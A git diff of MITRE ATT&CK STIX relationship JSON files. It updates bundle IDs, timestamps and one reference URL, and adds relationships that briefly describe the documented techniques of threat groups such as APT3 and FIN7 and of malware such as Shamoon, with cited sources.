diff --git a/enterprise-attack/relationship/relationship--aec0a948-428f-4327-b466-a0472da12928.json b/enterprise-attack/relationship/relationship--aec0a948-428f-4327-b466-a0472da12928.json
index ea51f88179..e01f8cad3f 100644
--- a/enterprise-attack/relationship/relationship--aec0a948-428f-4327-b466-a0472da12928.json
+++ b/enterprise-attack/relationship/relationship--aec0a948-428f-4327-b466-a0472da12928.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d96ec237-a896-4e60-93f6-2763447013f7",
+    "id": "bundle--5287d56c-7745-4e33-86f9-3db72dc5533e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aec0a948-428f-4327-b466-a0472da12928",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 ran a command to compile an archive of file types of interest from the victim user's directories.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb.json b/enterprise-attack/relationship/relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb.json
index e37dd392be..ede52afa14 100644
--- a/enterprise-attack/relationship/relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb.json
+++ b/enterprise-attack/relationship/relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--291cc00d-f4a3-413d-b4a3-94cc9ca7e57e",
+    "id": "bundle--85f2b75d-6928-45d1-840c-9f1bee755ea2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Mozilla password manager, Google Chrome password manager, Outlook, Internet Explorer, and Windows Credential Store.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -22,7 +22,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88.json b/enterprise-attack/relationship/relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88.json
index aa56a17c69..3744d0f144 100644
--- a/enterprise-attack/relationship/relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88.json
+++ b/enterprise-attack/relationship/relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--34723c7d-20fc-41b3-8b0c-3424ad441e57",
+    "id": "bundle--e90fd86d-29f4-4f61-8633-99e136d259f4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The initial beacon packet for Mis-Type contains the operating system version and file system of the victim.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--aef7fe44-f381-41d5-88af-f04135e3aeab.json b/enterprise-attack/relationship/relationship--aef7fe44-f381-41d5-88af-f04135e3aeab.json
new file mode 100644
index 0000000000..e89e0f7794
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--aef7fe44-f381-41d5-88af-f04135e3aeab.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--260f1beb-db99-495b-ada4-8f7de062c991",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--aef7fe44-f381-41d5-88af-f04135e3aeab",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "is used to poison name services to gather hashes and credentials from systems within a local network.",
+            "source_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
+            "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
+            "external_references": [
+                {
+                    "source_name": "GitHub Responder",
+                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
+                    "url": "https://github.com/SpiderLabs/Responder"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--af088283-7416-466d-86f3-8b55e6d698d4.json b/enterprise-attack/relationship/relationship--af088283-7416-466d-86f3-8b55e6d698d4.json
new file mode 100644
index 0000000000..50ab13281a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--af088283-7416-466d-86f3-8b55e6d698d4.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--69364e15-972e-428f-b812-cd9c37c0c711",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--af088283-7416-466d-86f3-8b55e6d698d4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651",
+            "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--af0b0bfb-1a1e-4a06-b9e9-adeda7b6ad81.json b/enterprise-attack/relationship/relationship--af0b0bfb-1a1e-4a06-b9e9-adeda7b6ad81.json
index 1c96cf8f3e..8983393565 100644
--- a/enterprise-attack/relationship/relationship--af0b0bfb-1a1e-4a06-b9e9-adeda7b6ad81.json
+++ b/enterprise-attack/relationship/relationship--af0b0bfb-1a1e-4a06-b9e9-adeda7b6ad81.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d29bb0fb-cb17-4060-8bc9-aaae262f6a67",
+    "id": "bundle--fd83cbb6-cad7-4ce1-a74e-a672adbdf05f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--af0b0bfb-1a1e-4a06-b9e9-adeda7b6ad81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
diff --git a/enterprise-attack/relationship/relationship--af4d45e1-1aa4-444c-b176-31df7aaf9374.json b/enterprise-attack/relationship/relationship--af4d45e1-1aa4-444c-b176-31df7aaf9374.json
new file mode 100644
index 0000000000..d03513a5b6
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--af4d45e1-1aa4-444c-b176-31df7aaf9374.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--274f9025-39b0-424f-bdd1-876e7e32459b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--af4d45e1-1aa4-444c-b176-31df7aaf9374",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has a command to download and execute an additional file.",
+            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--af66e48f-3232-4f78-ad3e-5a404f7ae3a1.json b/enterprise-attack/relationship/relationship--af66e48f-3232-4f78-ad3e-5a404f7ae3a1.json
index de15b426ff..911e197ab0 100644
--- a/enterprise-attack/relationship/relationship--af66e48f-3232-4f78-ad3e-5a404f7ae3a1.json
+++ b/enterprise-attack/relationship/relationship--af66e48f-3232-4f78-ad3e-5a404f7ae3a1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--59963bfa-712d-4e47-8109-727938c48c16",
+    "id": "bundle--a7b4c660-9bd6-44c0-a8b0-d3c1f04de2c6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--af66e48f-3232-4f78-ad3e-5a404f7ae3a1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Linux version of Derusbi checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36.json b/enterprise-attack/relationship/relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36.json
index 1e9203708b..b00d2a7c6b 100644
--- a/enterprise-attack/relationship/relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36.json
+++ b/enterprise-attack/relationship/relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--67cd12fd-0829-41e1-8808-b6f6bf341b99",
+    "id": "bundle--c623287c-41c0-406c-85f7-567a812ae2f2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM uses NetUser-GetInfo to identify that it is running under an \u201cAdmin\u201d account on the local system.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
diff --git a/enterprise-attack/relationship/relationship--af74c0ec-0bbe-4538-a3a3-1e967afd3d51.json b/enterprise-attack/relationship/relationship--af74c0ec-0bbe-4538-a3a3-1e967afd3d51.json
index f7a1f74040..f9f11a9eb0 100644
--- a/enterprise-attack/relationship/relationship--af74c0ec-0bbe-4538-a3a3-1e967afd3d51.json
+++ b/enterprise-attack/relationship/relationship--af74c0ec-0bbe-4538-a3a3-1e967afd3d51.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bab54d89-7a8e-4df3-9b54-0f193f1c2a01",
+    "id": "bundle--521af6c8-429a-4aa5-bb14-d06016d220ee",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--af74c0ec-0bbe-4538-a3a3-1e967afd3d51",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can add a certificate to the Windows store.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--af883d09-3f26-4267-9081-4783447e3283.json b/enterprise-attack/relationship/relationship--af883d09-3f26-4267-9081-4783447e3283.json
index f9870cb719..7bc2f2141f 100644
--- a/enterprise-attack/relationship/relationship--af883d09-3f26-4267-9081-4783447e3283.json
+++ b/enterprise-attack/relationship/relationship--af883d09-3f26-4267-9081-4783447e3283.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--985a56bb-569d-442b-a5d1-08109dcb0c07",
+    "id": "bundle--295e89a5-9dfc-41db-8ea2-b583684833f3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--af883d09-3f26-4267-9081-4783447e3283",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "gh0st RAT is able to delete files.",
             "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
diff --git a/enterprise-attack/relationship/relationship--af9347a3-00a9-4ece-b075-8c55bd4f4b9b.json b/enterprise-attack/relationship/relationship--af9347a3-00a9-4ece-b075-8c55bd4f4b9b.json
index ec3a5b808a..5ff50c9a98 100644
--- a/enterprise-attack/relationship/relationship--af9347a3-00a9-4ece-b075-8c55bd4f4b9b.json
+++ b/enterprise-attack/relationship/relationship--af9347a3-00a9-4ece-b075-8c55bd4f4b9b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1ad421a8-2863-4061-bcd5-b355344fae11",
+    "id": "bundle--dbf551ee-37e4-470a-9f22-516c32d003d6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--af9347a3-00a9-4ece-b075-8c55bd4f4b9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Once Shamoon has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> to 1.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b.json b/enterprise-attack/relationship/relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b.json
index 7f26945110..d7567fd5fb 100644
--- a/enterprise-attack/relationship/relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b.json
+++ b/enterprise-attack/relationship/relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--25633bb0-2b2b-4d24-a28b-0134caf8f7df",
+    "id": "bundle--2895d427-9d8b-4ede-8509-bbd5501caacf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POWERSOURCE achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
diff --git a/enterprise-attack/relationship/relationship--afbf5119-6e39-4e4c-8329-57f7249a67b4.json b/enterprise-attack/relationship/relationship--afbf5119-6e39-4e4c-8329-57f7249a67b4.json
new file mode 100644
index 0000000000..1283e53910
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--afbf5119-6e39-4e4c-8329-57f7249a67b4.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d796bc3c-d22d-424d-a3bf-7188fe93a512",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--afbf5119-6e39-4e4c-8329-57f7249a67b4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 uses commonly used ports (like HTTPS/443) for command and control. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
+            "external_references": [
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b003a96b-81f7-436c-99a6-a25323f759ac.json b/enterprise-attack/relationship/relationship--b003a96b-81f7-436c-99a6-a25323f759ac.json
index 586c3675aa..0d219e42d9 100644
--- a/enterprise-attack/relationship/relationship--b003a96b-81f7-436c-99a6-a25323f759ac.json
+++ b/enterprise-attack/relationship/relationship--b003a96b-81f7-436c-99a6-a25323f759ac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6c0384c9-28a2-41d1-ba3f-322badef08ca",
+    "id": "bundle--c293e2f1-f943-402b-bb60-d48f0ebf8fb9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b003a96b-81f7-436c-99a6-a25323f759ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b",
             "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
diff --git a/enterprise-attack/relationship/relationship--b0099b28-bcb8-4214-8166-d9caed1b6491.json b/enterprise-attack/relationship/relationship--b0099b28-bcb8-4214-8166-d9caed1b6491.json
index bd84298d88..1300346969 100644
--- a/enterprise-attack/relationship/relationship--b0099b28-bcb8-4214-8166-d9caed1b6491.json
+++ b/enterprise-attack/relationship/relationship--b0099b28-bcb8-4214-8166-d9caed1b6491.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--899e0b7e-8a1d-43fb-9f24-7ff618771628",
+    "id": "bundle--c9f74ec5-c175-4131-859b-6616ca5e0d83",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b0099b28-bcb8-4214-8166-d9caed1b6491",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has registered itself as a service to establish persistence.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--b028b9a6-4031-4b56-8dd5-0bdd3c59dbec.json b/enterprise-attack/relationship/relationship--b028b9a6-4031-4b56-8dd5-0bdd3c59dbec.json
new file mode 100644
index 0000000000..01c4f434a3
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b028b9a6-4031-4b56-8dd5-0bdd3c59dbec.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--86c75ae8-653d-4b27-8827-79b044b58c9a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b028b9a6-4031-4b56-8dd5-0bdd3c59dbec",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has used tools to compress data before exfilling it. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b02c9017-5ec9-4be0-9aa9-b183d252c516.json b/enterprise-attack/relationship/relationship--b02c9017-5ec9-4be0-9aa9-b183d252c516.json
new file mode 100644
index 0000000000..305961917c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b02c9017-5ec9-4be0-9aa9-b183d252c516.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--f79868ea-9c70-45f7-85ed-a8a5503cedb5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b02c9017-5ec9-4be0-9aa9-b183d252c516",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf",
+            "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b03aafb3-dc03-4e12-9354-69a579b60aaf.json b/enterprise-attack/relationship/relationship--b03aafb3-dc03-4e12-9354-69a579b60aaf.json
index fdb2699437..6e5278013b 100644
--- a/enterprise-attack/relationship/relationship--b03aafb3-dc03-4e12-9354-69a579b60aaf.json
+++ b/enterprise-attack/relationship/relationship--b03aafb3-dc03-4e12-9354-69a579b60aaf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5313456d-7383-4b9c-b4fd-ad63d139380e",
+    "id": "bundle--3fd9c8e4-e3a2-4353-8175-8e7dbd6f5612",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b03aafb3-dc03-4e12-9354-69a579b60aaf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Dust Storm has used Android backdoors capable of enumerating specific files on the infected devices.",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
diff --git a/enterprise-attack/relationship/relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d.json b/enterprise-attack/relationship/relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d.json
index 220765271a..0a04b467c2 100644
--- a/enterprise-attack/relationship/relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d.json
+++ b/enterprise-attack/relationship/relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec0c486d-3744-45cb-ac2c-1045c9491941",
+    "id": "bundle--2c744261-021c-4c23-9752-49849ed2de04",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser has used HTTP, HTTPS, and DNS for command and control.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--b077d81d-0449-493f-9b93-23dc0fb0b62d.json b/enterprise-attack/relationship/relationship--b077d81d-0449-493f-9b93-23dc0fb0b62d.json
index 14d72a8711..ebddfca55b 100644
--- a/enterprise-attack/relationship/relationship--b077d81d-0449-493f-9b93-23dc0fb0b62d.json
+++ b/enterprise-attack/relationship/relationship--b077d81d-0449-493f-9b93-23dc0fb0b62d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--69b41e18-0f50-4a5e-8a7d-a817965a018f",
+    "id": "bundle--a452ea67-e8bf-4505-9137-4afcd944aabd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b077d81d-0449-493f-9b93-23dc0fb0b62d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 uses a PowerShell script to launch shellcode that retrieves an additional payload.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
diff --git a/enterprise-attack/relationship/relationship--b0791504-fc65-402b-bc47-bd96ed4abea1.json b/enterprise-attack/relationship/relationship--b0791504-fc65-402b-bc47-bd96ed4abea1.json
new file mode 100644
index 0000000000..0755fe7bee
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b0791504-fc65-402b-bc47-bd96ed4abea1.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--b85c077b-95a4-435a-a17e-a1bfd85bd400",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b0791504-fc65-402b-bc47-bd96ed4abea1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can obtain information about the local system. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                },
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b08e3c96-25a7-412f-bbfb-63e010ef3891.json b/enterprise-attack/relationship/relationship--b08e3c96-25a7-412f-bbfb-63e010ef3891.json
index b12c901b82..02dd6c75d4 100644
--- a/enterprise-attack/relationship/relationship--b08e3c96-25a7-412f-bbfb-63e010ef3891.json
+++ b/enterprise-attack/relationship/relationship--b08e3c96-25a7-412f-bbfb-63e010ef3891.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--26004675-0bb0-45d4-b479-0e8274460295",
+    "id": "bundle--54d6b9cb-4fd9-4767-89db-b825622b49b3",
     "spec_version": "2.0",
     "objects": [
         {
